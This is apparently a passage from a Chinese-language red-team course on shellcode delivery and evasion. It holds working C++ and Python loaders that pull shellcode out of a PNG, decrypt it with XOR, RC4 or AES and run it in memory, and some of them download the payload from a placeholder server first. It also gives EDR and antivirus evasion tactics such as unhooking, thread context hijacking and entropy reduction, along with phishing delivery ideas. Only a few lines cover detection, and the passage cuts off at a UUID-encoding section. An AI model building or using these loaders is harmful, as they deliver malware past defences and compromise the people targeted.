// 读取文件到缓冲区
std::vector<char> ReadFileToBuffer(const std::string& filename) {
std::ifstream file(filename, std::ios::binary);
return std::vector<char>((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
}

// 查找标记并返回shellcode的指针
unsigned char* FindShellcode(std::vector<char>& buffer, size_t& scSize) {
auto it = std::search(buffer.begin(), buffer.end(), marker.begin(), marker.end());
if (it == buffer.end()) {
std::cerr << "标记未找到" << std::endl;
return nullptr;
}

// Shellcode就在标记后面
it += marker.size();
scSize = buffer.end() - it;
return reinterpret_cast<unsigned char*>(&(*it));
}

// 使用CreateThread运行shellcode
void RunShellcode(unsigned char* sc, size_t size) {
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, sc, size);
DWORD tid;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, &tid);
WaitForSingleObject(hThread, INFINITE);
}

int main() {
std::vector<char> imgBuffer = ReadFileToBuffer("stego.png");

size_t shellcodeSize = 0;
unsigned char* shellcode = FindShellcode(imgBuffer, shellcodeSize);
if (shellcode) {
std::cout << "Shellcode大小: " << shellcodeSize << " 字节" << std::endl;
RunShellcode(shellcode, shellcodeSize);
}

return 0;
}

3 – 红队实战中的应用场景

  • 场景:钓鱼邮件附带holiday_card.png图像。

  • 图像正常显示。

  • 点击时,在自定义加载器中执行有效负载,直接在内存中运行。

  • 防御者看到的仅是图像,而不是二进制文件或.exe

这种方法绕过了传统的静态文件检查和部分运行时保护。


4 – 检测与防御(蓝队视角)

尽管该方法有效,防御者可以通过以下方式检测:

  • 标记图像文件异常大的文件大小

  • 扫描已知的有效负载标记(如###SHELLCODE###

  • 监控加载图像后随即的代码注入行为

  • 使用YARA规则检测图像中带有二进制尾部的数据


5 – 改进建议

  • 在嵌入之前加密shellcode(见第5模块)

  • 使用图像元数据(如ExifIDAT等)而不是简单的附加数据

  • 通过隐写解码逻辑触发有效负载


6. 高级应用场景

应用场景 描述
Discord或Slack传递 重命名为.png并通过聊天发送。大多数AV不会扫描它。
邮件附件 在签名图像或附件中嵌入有效负载。
动态C2 使用周期性获取的旋转隐写有效负载,从社交媒体或GitHub等平台获取。

7. 检测与防御规避

  • 签名绕过:AV通常不会扫描PNG文件,除非特别配置。

  • 熵控制:嵌入过程可以保持熵,避免触发常见的检测机制。

  • 隐蔽性:与真实资产混合,尤其是在CDN或受信域名上托管时。


8. 真实世界的类似案例

  • APT32(OceanLotus)等团体使用过.bmp.ico文件来传递有效负载。

  • StegoDropImgStego等工具也使用类似的概念。

  • 命令通道通过将加密的有效负载嵌入推特或Imgur上的迷因图像来传递。


9. OPSEC注意事项

风险 缓解措施
有效负载标记可见 在嵌入之前加密
AV沙盒打开图像 确保提取代码延迟或混淆
加载器的静态签名 编译时加入垃圾代码,重命名函数,或加密字符串

10. 与前面模块的结合使用

  • 第2模块或第3模块中创建的有效负载可以作为输入使用。

  • 可以结合第4.2模块(下载并执行)从远程获取图像。

  • 与第5模块结合使用,在图像中嵌入加密的有效负载(嵌入前使用XOR或AES加密)。

4.4 - Shellcode传递与执行中的OPSEC技术

旨在绕过EDR和AV的攻击者必须设计符合操作安全性(OPSEC)的有效负载。这意味着要最小化指示器,减少噪声,并避免在传递解密执行shellcode时常见的检测路径。

以下是应用于shellcode使用的核心OPSEC技术,附带解释、现实世界的类比和C++代码示例。


4.4.1 分阶段与无阶段有效负载

分阶段有效负载

  • 初始有效负载较小,负责获取第二阶段有效负载。

  • 在C2框架(如Cobalt Strike)中常见。

  • 较容易混淆,但由于网络可见性较大,存在一定风险。

无阶段有效负载

  • 整个有效负载被嵌入。

  • 较难传递,但审计更容易。

OPSEC决策

  • 在受限或监控的环境中使用无阶段有效负载。

  • 当初始访问向量受到大小限制时(例如,宏、LNK),使用分阶段有效负载。


4.4.2 通过可疑与合法路径执行

避免使用已知的高风险API,例如:

  • CreateRemoteThreadEx

  • WriteProcessMemory

  • VirtualAllocEx

使用更隐蔽的替代方法,如:

  • NtCreateThreadEx

  • RtlCreateUserThread

  • 手动映射

  • 反射式DLL注入


4.4.3 内存保护与RWX规避

AV/EDRs监控的内容:

  • 标记为PAGE_EXECUTE_READWRITE的内存

  • 通常发生在VirtualAlloc和shellcode期间

OPSEC技术:
PAGE_READWRITE下分配内存,写入shellcode,然后通过VirtualProtect切换为PAGE_EXECUTE_READ

示例:

1
2
3
4
5
6
7
8
LPVOID p = VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(p, payload, payload_size);

// 避免直接RWX内存,写入后切换为RX
DWORD oldProtect;
VirtualProtect(p, payload_size, PAGE_EXECUTE_READ, &oldProtect);

((void(*)())p)(); // 执行

4.4.4 反转转储与内存标记技术

  1. 在内存中加密shellcode,仅在执行时解密。

  2. 自删除shellcode,执行后或将其移动到较少监控的内存区域(例如,堆)。

  3. 使用不可执行的段,如.data或隐藏的内存映射(NtCreateSection)。


4.4.5 用户态解钩(可选)

EDRs通常会挂钩ntdll.dll中的API。解钩技术包括:

  • 通过LdrLoadDll从磁盘重新加载干净的ntdll.dll

  • 在内存中覆盖ntdll.text段。

  • 系统调用存根(例如,Hell’s Gate、SysWhispers)。

注意: 不精确的解钩操作会增加被检测的概率。


4.4.6 使用间接调用和误导API链

EDRs会查找已知的调用模式。打破模式:

  • 混淆API导入(基于哈希的解析)。

  • 使用间接调用gadgets(通过ROP/内联gadget调用[reg])。

  • 链接无害的API(例如,NtDelayExecution → 系统调用)。


4.4.7 线程上下文伪造

伪造线程上下文以隐藏shellcode的来源:

1
2
3
4
5
6
7
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// 修改RIP指向shellcode(针对远程进程)
ctx.Rip = (DWORD64)shellcode_address;
SetThreadContext(hThread, &ctx);

这使得执行看起来比直接调用CreateRemoteThread更合法。


4.4.8 栈与堆伪造

  • 分配虚假的栈(VirtualAlloc),在shellcode之前设置ESP/RSP

  • 用诱饵数据进行堆喷射。

  • 如果需要,手动设置TEB/PEB值以伪造线程来源。


4.4.9 传递伪装

  • 通过图像加载器多用途文件加密数据块传递有效负载。

  • 使用ImgPayload(您的工具)或LSB隐写术。

  • 使用非标准格式:伪造字体、docx、剪贴板、备用数据流。


4.4.10 避免已知指示器

  • 避免使用“calc.exe”、“cmd.exe”或已知的shellcode模式。

  • 删除元数据。

  • 使用熵填充或噪声注入,以避免基于签名的YARA规则。


真实世界OPSEC示例(内存规避加载器)

1
2
3
4
5
6
7
8
9
10
11
12
13
LPVOID mem = VirtualAlloc(NULL, payload_len, MEM_COMMIT, PAGE_READWRITE);
memcpy(mem, encrypted_payload, payload_len);

// 在内存中解密(XOR)
for (int i = 0; i < payload_len; i++)
((BYTE*)mem)[i] ^= 0x55;

// 切换为可执行内存(但不是RWX)
DWORD oldProt;
VirtualProtect(mem, payload_len, PAGE_EXECUTE_READ, &oldProt);

// 执行
((void(*)())mem)();
  • 有效负载在内存中解密。

  • 内存从未被标记为RWX。

  • 没有可疑的字符串或导入。

模块 5:有效载荷加密和混淆

5.1 - 使用XOR加密进行Shellcode混淆

概述

XOR加密是一种轻量级的对称加密技术,用于混淆shellcode或有效负载,以绕过基于签名的检测系统,如AV和EDR。由于其简单性和对静态分析的有效性,它在恶意软件、加壳工具和红队工具中被广泛使用。


5.1.1 XOR加密的工作原理

XOR(异或)操作符仅在输入不同的时候返回true

1
2
A XOR B = C
C XOR B = A // XOR使用相同的密钥可逆

这使得它成为简单加密的完美候选。


5.1.2 为什么使用XOR进行规避

AV/EDR工具通常会扫描以下内容:

  • 已知的二进制模式

  • 系统调用存根

  • 常见的shellcode模板(例如,来自Metasploit)

通过对有效负载进行XOR加密,这些模式会被隐藏,避免静态检测。执行需要运行时解密,可以在内存中执行前进行解密。


5.1.3 XOR加密在C++中的实现:

让我们实现一个简单的C++加载器,用于使用XOR加密和解密shellcode缓冲区。

加密阶段(离线,交付前完成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream>
#include <vector>

int main() {
std::vector<unsigned char> shellcode = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
// 省略部分以节省篇幅
};

unsigned char key = 0xAA; // 简单的XOR密钥
std::cout << "Encrypted Shellcode:\n";

for (size_t i = 0; i < shellcode.size(); ++i) {
unsigned char encrypted_byte = shellcode[i] ^ key;
printf("0x%02x, ", encrypted_byte);
}

std::cout << std::endl;
return 0;
}

输出将是一个加密的缓冲区,可以嵌入到加载器中。


5.1.4 XOR解密与内存中执行

这是一个完整的C++加载器,它在内存中解密XOR加密的shellcode并执行它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>
#include <iostream>

// 示例:XOR加密的shellcode(原始shellcode与0xAA进行XOR)
unsigned char encrypted_shellcode[] = {
0x56, 0xe2, 0x29, 0x4e, 0x5a, 0x42, 0x6a, 0xaa
// 省略部分以节省篇幅
};

int main() {
SIZE_T size = sizeof(encrypted_shellcode);
unsigned char xor_key = 0xAA;

// 分配RWX内存(可根据OPSEC调整)
LPVOID exec_mem = VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!exec_mem) {
std::cerr << "Memory allocation failed\n";
return -1;
}

// 将XOR加密的shellcode解密到内存中
for (SIZE_T i = 0; i < size; ++i) {
((unsigned char*)exec_mem)[i] = encrypted_shellcode[i] ^ xor_key;
}

// 更改内存保护为RX
DWORD old_protect;
VirtualProtect(exec_mem, size, PAGE_EXECUTE_READ, &old_protect);

// 执行shellcode
((void(*)())exec_mem)();

return 0;
}

5.1.5 真实世界示例

恶意加载器通常会:

  • 混淆密钥本身(使用多字节XOR或动态推导)

  • 将有效负载存储在图像段中(例如,.data.rsrc

  • 避免使用VirtualAlloc,而使用Nt* API以增加隐蔽性

恶意软件中的示例:

  • Emotet加载器使用XOR+Base64

  • APT组织使用XOR加密shellcode,并将其嵌入注册表键或文件间隙空间中


5.1.6 检测对策

防御者可能会:

  • 使用熵检查(加密的有效负载=高熵)

  • 启动时分析内存变化

  • 标记已知的XOR模式

为规避这些检测:

  • 使用多阶段XOR

  • 使用动态密钥(从时间、主机名等推导)

  • 执行时即时解密(JIT)

5.2 - 使用RC4加密进行有效负载混淆

5.2.1 RC4简介

RC4是一种流密码,通过与密钥生成的伪随机字节流进行XOR操作加密数据。虽然今天它被认为对加密目的不再安全,但由于以下原因,它仍然在混淆反AV规避中有用:

  • 生成高熵输出(难以进行模式匹配)

  • 支持任意长度的密钥

  • 快速且轻量级


5.2.2 在恶意软件和红队中的实际应用

RC4被广泛用于:

  • Cobalt Strike 的早期变种中,用于beacon的阶段化

  • PlugXLokibot 的有效负载加密

  • 将有效负载嵌入文档或图像中(例如:宏 → RC4解密 → shellcode)


5.2.3 在C++中的RC4实现

让我们通过一个完整的RC4加载器来演示如何在运行时解密shellcode。

RC4函数实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <iostream>
#include <vector>
#include <string.h>

// RC4密钥调度和PRGA
void rc4_encrypt_decrypt(unsigned char* data, size_t data_len, unsigned char* key, size_t key_len) {
unsigned char S[256];
for (int i = 0; i < 256; i++) S[i] = i;

int j = 0;
// KSA - 密钥调度算法
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key_len]) % 256;
std::swap(S[i], S[j]);
}

// PRGA - 伪随机生成算法
int i = 0;
j = 0;
for (size_t k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
unsigned char rnd = S[(S[i] + S[j]) % 256];
data[k] ^= rnd;
}
}

5.2.4 加密有效负载与加载器执行

假设你已经离线使用RC4加密了你的shellcode,嵌入到加载器中:

1
2
3
4
5
6
7
8
// 加密的shellcode(RC4加密后)
// 该数据应在离线时使用rc4_encrypt_decrypt函数生成
unsigned char encrypted_shellcode[] = {
0x91, 0x2F, 0xB6, 0x88, 0xC3, 0xDD, 0x34, 0xA2
// 省略部分示例
};

unsigned char rc4_key[] = "SecretKey123"; // 简单的RC4密钥

然后解密并执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main() {
SIZE_T size = sizeof(encrypted_shellcode);

// 为shellcode分配内存
LPVOID exec_mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!exec_mem) {
std::cerr << "Failed to allocate memory\n";
return -1;
}

// 将加密的shellcode复制到分配的内存中
memcpy(exec_mem, encrypted_shellcode, size);

// 在内存中解密shellcode
rc4_encrypt_decrypt((unsigned char*)exec_mem, size, rc4_key, strlen((char*)rc4_key));

// 更改内存保护为可执行
DWORD oldProtect;
VirtualProtect(exec_mem, size, PAGE_EXECUTE_READ, &oldProtect);

// 调用shellcode
((void(*)())exec_mem)();

return 0;
}

5.2.5 OPSEC考虑

为了增加隐蔽性:

  • 将RC4密钥存储为混淆形式

  • 动态推导密钥,基于主机属性

  • 避免使用VirtualAlloc;改用NtAllocateVirtualMemory(系统调用)

  • 避免使用memcpy;改用RtlCopyMemory


5.2.6 检测规避技巧

AV可能会标记:

  • 高熵的内存区域

  • 已知的RC4密钥调度逻辑

  • 使用VirtualAllocVirtualProtect

规避策略:

  • 将RC4隐藏在自定义的混淆器中

  • 将有效负载分阶段存储在环境变量或注册表中

  • 延迟执行,注入到远程进程中


5.2.7 真实世界用例

示例:渗透测试人员创建一个Word宏,执行以下操作:

  1. 从GitHub URL下载RC4加密的shellcode

  2. 使用RC4密钥”MalTestKey”解密

  3. 在explorer.exe中分配内存并注入

这可以绕过EDR,除非启用了内存扫描或基于行为的启发式检测。


5.2.8 远程RC4有效负载获取与执行

一个实际的用例是将RC4加密的shellcode存储在远程服务器上,并在运行时动态下载和解密它。此方法通过:

  • 保持有效负载不写入磁盘

  • 延迟检测

  • 允许服务器端的有效负载轮换

远程RC4加载器示例

这个加载器:

  1. 从给定的URL下载RC4加密的shellcode

  2. 在内存中解密它

  3. 执行解密后的有效负载

依赖项

我们将使用Windows API (URLDownloadToCacheFileWinINet),以避免使用像libcurl这样的外部库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <windows.h>
#include <wininet.h>
#include <iostream>
#pragma comment(lib, "wininet.lib")

void rc4(unsigned char* data, size_t data_len, unsigned char* key, size_t key_len) {
unsigned char S[256];
for (int i = 0; i < 256; i++) S[i] = i;

int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + key[i % key_len]) % 256;
std::swap(S[i], S[j]);
}

int i = 0;
j = 0;
for (size_t k = 0; k < data_len; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
unsigned char rnd = S[(S[i] + S[j]) % 256];
data[k] ^= rnd;
}
}

bool DownloadShellcode(const char* url, std::vector<unsigned char>& data) {
HINTERNET hInternet = InternetOpenA("Mozilla", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return false;

HINTERNET hFile = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hFile) {
InternetCloseHandle(hInternet);
return false;
}

unsigned char buffer[4096];
DWORD bytesRead = 0;

while (InternetReadFile(hFile, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
data.insert(data.end(), buffer, buffer + bytesRead);
}

InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return true;
}

执行逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int main() {
const char* shellcode_url = "http://yourserver.com/payload.rc4"; // 替换为实际URL
unsigned char key[] = "MalKey";

std::vector<unsigned char> encryptedShellcode;

if (!DownloadShellcode(shellcode_url, encryptedShellcode)) {
std::cerr << "Download failed.\n";
return -1;
}

// 解密shellcode
rc4(encryptedShellcode.data(), encryptedShellcode.size(), key, strlen((char*)key));

// 分配内存并执行
LPVOID exec = VirtualAlloc(0, encryptedShellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {
std::cerr << "Memory allocation failed.\n";
return -1;
}

memcpy(exec, encryptedShellcode.data(), encryptedShellcode.size());

// 执行解密后的shellcode
((void(*)())exec)();
return 0;
}

如何生成加密的有效负载

你可以使用相同的RC4算法在离线时加密

你的有效负载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# rc4_encrypt.py
def rc4_encrypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
result = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)

return bytes(result)

# 示例使用
with open("shellcode.bin", "rb") as f:
data = f.read()

enc = rc4_encrypt(data, b"MalKey")

with open("payload.rc4", "wb") as f:
f.write(enc)

payload.rc4 上传到你的Web服务器(如Apache、Nginx或GitHub raw URL)。

LOTS: https://lots-project.com/


优势

  • 有效负载在运行时之前始终保持加密

  • 二进制中没有可疑的字符串或shellcode

  • 有效负载可以在不重新构建加载器的情况下动态更新

5.3 - 使用AES加密进行有效负载加密与执行

AES(高级加密标准)是一种广泛使用的对称块加密算法,用于保护数据。在进攻操作中,AES加密:

  • 隐藏原始的shellcode,避免静态和内存扫描工具的检测。

  • 需要在加载器中实现解密过程。

  • 被真实世界的恶意软件(如Cobalt Strike、TrickBot和Emotet)广泛使用。


AES的关键概念

  • AES-128, AES-192, AES-256:不同的密钥长度(单位:比特)。

  • ECB(电子密码本)模式:简单但不安全,容易使用。

  • CBC(密文分组链接)模式:更强大,使用初始化向量(IV)。

  • CTR(计数器模式):像流密码一样工作,适合处理shellcode。

为了简化,我们将使用AES-128 CBC模式,结合Windows CryptoAPI(CryptEncrypt / CryptDecrypt)进行实现,Linux版本可以选择使用OpenSSL库。


C++ 使用CryptoAPI实现AES加载器

此加载器:

  1. 从远程URL下载AES加密的shellcode。

  2. 使用AES-CBC进行解密。

  3. 在内存中分配空间并执行它。

假设有效负载已经在离线时使用相同的密钥和IV进行了AES加密。


步骤:加载器代码

1. 包含依赖

1
2
3
4
5
6
7
8
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <vector>
#include <iostream>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "advapi32.lib")

2. AES解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bool aes_decrypt(std::vector<unsigned char>& data, const BYTE* key, const BYTE* iv) {
HCRYPTPROV hProv = NULL;
HCRYPTKEY hKey = NULL;
HCRYPTHASH hHash = NULL;

if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) return false;

if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) return false;
if (!CryptHashData(hHash, key, 16, 0)) return false;

if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, CRYPT_EXPORTABLE, &hKey)) return false;

// 设置IV
CRYPT_DATA_BLOB blob = { 16, (BYTE*)iv };
CryptSetKeyParam(hKey, KP_IV, blob.pbData, 0);

DWORD dataLen = data.size();
if (!CryptDecrypt(hKey, 0, TRUE, 0, data.data(), &dataLen)) return false;

data.resize(dataLen);
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return true;
}

3. 下载有效负载

(与5.2中的逻辑相同)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bool DownloadShellcode(const char* url, std::vector<unsigned char>& data) {
HINTERNET hInternet = InternetOpenA("Mozilla", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return false;

HINTERNET hFile = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hFile) {
InternetCloseHandle(hInternet);
return false;
}

unsigned char buffer[4096];
DWORD bytesRead = 0;

while (InternetReadFile(hFile, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
data.insert(data.end(), buffer, buffer + bytesRead);
}

InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return true;
}

4. 主执行逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int main() {
const char* url = "http://yourserver.com/payload.aes";
BYTE key[16] = { /* 16-byte key */ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
BYTE iv[16] = { 0 }; // 也可以使用随机IV并将其添加到有效负载前面

std::vector<unsigned char> encryptedShellcode;

if (!DownloadShellcode(url, encryptedShellcode)) {
std::cerr << "Download failed.\n";
return -1;
}

if (!aes_decrypt(encryptedShellcode, key, iv)) {
std::cerr << "Decryption failed.\n";
return -1;
}

LPVOID exec = VirtualAlloc(0, encryptedShellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, encryptedShellcode.data(), encryptedShellcode.size());

((void(*)())exec)(); // 执行shellcode
return 0;
}

Python脚本加密shellcode

使用pycryptodome库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os

key = b'\x90' * 16
iv = b'\x00' * 16

with open('shellcode.bin', 'rb') as f:
sc = f.read()

cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(sc, AES.block_size))

with open('payload.aes', 'wb') as f:
f.write(enc)

AES有效负载封装的优点

  • AV/EDR中的误报率非常低

  • 保持与良性二进制文件相似的熵

  • 可以动态旋转密钥/IV,针对每次部署

  • 容易存储在离线或在线环境中


真实世界的灵感

  • Cobalt Strike:加密的有效负载(无阶段beacons)通常使用AES封装。

  • Emotet和TrickBot:在加载器中使用AES + RC4组合。

  • PowerShell Empire:也使用AES-CBC进行内存植入。

5.4 - 使用密钥变异与多态性的XOR混淆

概述

XOR(异或)加密是一种轻量级的方法,通过使用密钥应用可逆的转换来混淆有效负载。结合密钥变异(在编码过程中更改密钥)和多态性(变更解密过程结构),XOR加密在对抗基于签名的AV/EDR引擎时表现得异常有效。


为何XOR仍然有效

虽然XOR看似简单,但它依然有效:

  • AV引擎通常不会标记XOR本身,而是会标记已知的模式。

  • 多态性通过改变解密过程打破了检测。

  • 密钥变异使每个有效负载都独一无二。

常见使用XOR的恶意软件

  • AgentTeslaRedline Stealer 和旧版本的 Metasploit 有效负载依赖于XOR加密,并做一些细微变动。

  • 高级投放器 使用旋转密钥或动态编码。


逐步实现带有密钥变异的XOR加密

1. 加密脚本(Python)

此脚本将:

  • 接收一个shellcode文件

  • 使用变化的密钥对其进行XOR编码(每个字节使用不同的密钥)

  • 输出编码后的缓冲区和C++解码器逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import random

def xor_mutate(data, seed=0x55):
encoded = []
key = seed
for byte in data:
encoded_byte = byte ^ key
encoded.append(encoded_byte)
key = (key + 1) % 256 # 密钥变异逻辑
return encoded

# 载入shellcode
with open("shellcode.bin", "rb") as f:
shellcode = f.read()

encoded = xor_mutate(shellcode, seed=0x55)

# 生成C++数组
print("unsigned char payload[] = {")
for i, b in enumerate(encoded):
print(f"0x{b:02x},", end="")
if i % 16 == 15:
print()
print("};")
print("int payload_len = sizeof(payload);")

2. C++解码器(多态性)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>
#include <iostream>

unsigned char payload[] = {
// 复制编码后的shellcode
};

int payload_len = sizeof(payload);

void xor_decode(unsigned char* data, int len, unsigned char seed) {
unsigned char key = seed;
for (int i = 0; i < len; ++i) {
data[i] ^= key;
key = (key + 1) % 256; // 必须匹配Python中的密钥变异逻辑
}
}

int main() {
// 分配并解码有效负载
LPVOID exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, payload, payload_len);

// 就地解密
xor_decode((unsigned char*)exec, payload_len, 0x55);

// 执行解密后的shellcode
((void(*)())exec)();
return 0;
}

密钥变异的解释

  • 从种子 0x55 开始

  • 每个字节的密钥递增1

  • 足够简单,以便在运行时解码

  • 很难通过签名检测,因为每次XOR的密钥都不同


多态性技术

为了进一步变化解密器:

  • 将解密逻辑内联,而不是调用函数。

  • 将密钥或shellcode反向编码。

  • 随机化寄存器使用和解密逻辑结构。

示例:内联解码器变化

1
2
for (int i = 0, k = 0x55; i < payload_len; ++i, ++k)
((unsigned char*)exec)[i] ^= k;

真实世界的恶意软件使用案例

**RedLine Stealer (2021)**:

  • 使用旋转密钥的XOR编码配置数据。

  • 加载器使用多态解密器解密配置文件。

Lokibot

  • 每个受害者实例使用动态XOR密钥,避免基于模式的检测。

AV检测挑战

  • XOR加密的有效负载不会匹配常见的shellcode签名。

  • 密钥变异和解密器逻辑的变化可以防止静态模式检测。

  • 解密通常发生在执行前的即时解密(JIT)。


接下来我们将深入探讨5.4模块

  1. 运行时降低熵的技术 — 以避开内存扫描器。

  2. 将XOR密钥嵌入图像或PE节 — 提高隐蔽性和OPSEC。


1. 运行时降低熵的技术

目标:使shellcode/内存在扫描时看起来“正常”,从而避免AV/EDR引擎因检测到高熵(常见的shellcode签名)而产生警报。

为什么熵很重要

高熵(接近8.0) = 高度随机 = 可疑。
内存扫描工具通常会在以下情况下报警:

  • 加密的负载

  • 压缩的有效负载

  • 内存中的shellcode


技术A:零填充和结构仿真

通过添加NOPs或零字节来降低熵:

1
2
3
4
5
// 解密之前,使用低熵字节填充内存
memset(exec, 0x00, payload_len);

// 然后解密
xor_decode((unsigned char*)exec, payload_len, 0x55);

你还可以模仿正常的PE或堆分配结构:

  • 添加虚拟头部

  • 附加可读字符串或正常数据


技术B:渐进式解密(JIT解密)

与一次性解密所有shellcode不同,仅解密即将执行的部分:

1
2
3
4
5
6
7
8
for (int i = 0, key = 0x55; i < payload_len; i += 4) {
DWORD oldProtect;
VirtualProtect((LPVOID)((uintptr_t)exec + i), 4, PAGE_EXECUTE_READWRITE, &oldProtect);
for (int j = 0; j < 4 && (i + j) < payload_len; ++j)
((unsigned char*)exec)[i + j] ^= key + j;
VirtualProtect((LPVOID)((uintptr_t)exec + i), 4, oldProtect, &oldProtect);
Sleep(50); // 模拟实时行为
}

这种方法模仿真实进程,避免产生大的熵波动。


2. 将XOR密钥嵌入图像或PE节

A. 将XOR密钥嵌入图像(隐写方法)

你可以将XOR密钥隐藏在图像的最低有效位(LSB)中。

Python示例:将XOR密钥隐藏在PNG图像中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image

key = [0x55, 0x56, 0x57, 0x58]
img = Image.open("template.png")
pixels = img.load()

for i in range(len(key)):
r, g, b = pixels[i, 0]
r = (r & 0xFE) | ((key[i] >> 0) & 1)
g = (g & 0xFE) | ((key[i] >> 1) & 1)
b = (b & 0xFE) | ((key[i] >> 2) & 1)
pixels[i, 0] = (r, g, b)

img.save("key_hidden.png")
C++示例:从图像中提取XOR密钥(使用LodePNG):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "lodepng.h"

std::vector<unsigned char> load_image_key(const char* filename, int key_len) {
std::vector<unsigned char> image;
unsigned width, height;
lodepng::decode(image, width, height, filename);

std::vector<unsigned char> key;
for (int i = 0; i < key_len; ++i) {
int index = i * 4; // RGBA
unsigned char r = image[index];
unsigned char g = image[index + 1];
unsigned char b = image[index + 2];

unsigned char k = ((r & 1) << 0) | ((g & 1) << 1) | ((b & 1) << 2);
key.push_back(k);
}
return key;
}

B. 将密钥存储在PE节(隐蔽技术)

你可以添加一个自定义节(如.key

到二进制中,并动态提取它。

汇编链接脚本:
1
2
.section .key, "rw"
.byte 0x55, 0x56, 0x57, 0x58
C++提取:
1
2
3
4
5
6
extern "C" unsigned char __start_key[];
extern "C" unsigned char __stop_key[];

std::vector<unsigned char> extract_key_from_section() {
return std::vector<unsigned char>(__start_key, __stop_key);
}

通过ld或类似工具链接并定义节的边界。


结合所有技术

为了完全避开内存扫描器,你可以:

  1. 将XOR密钥嵌入图像或PE节中。

  2. 通过填充或渐进解密降低熵。

  3. 使用多态解码器。


最终考虑

  • 这些技术增强了OPSEC并提高了AV/EDR规避能力。

  • 它们无法100%保证规避成功 — 必须与行为规避(例如,系统调用伪造、卸载钩子)结合使用。

  • 可以结合AMSI和ETW绕过技术,以实现完全的保护。

5.5 使用UUID、MAC地址和IPv6格式混淆Shellcode

这些是先进的规避技术,通过将Shellcode编码为看起来“正常”或“无害”的格式,来避开静态和行为扫描器。

概述

攻击者不是直接交付原始的Shellcode或Base64负载,而是使用以下格式进行编码,这些格式通常被视为无害:

  • UUIDs(例如,2d464d45-91c7-4d12-8871-04d61817b3e3

  • MAC地址(例如,00:0C:29:6B:8E:1C

  • IPv6地址(例如,2001:0db8:85a3:0000:0000:8a2e:0370:7334

这些模式绕过了常见的YARA规则和启发式扫描器,这些扫描器通常期望标准的hex/Base64或PE格式。


技术A:将Shellcode作为UUIDs

解释

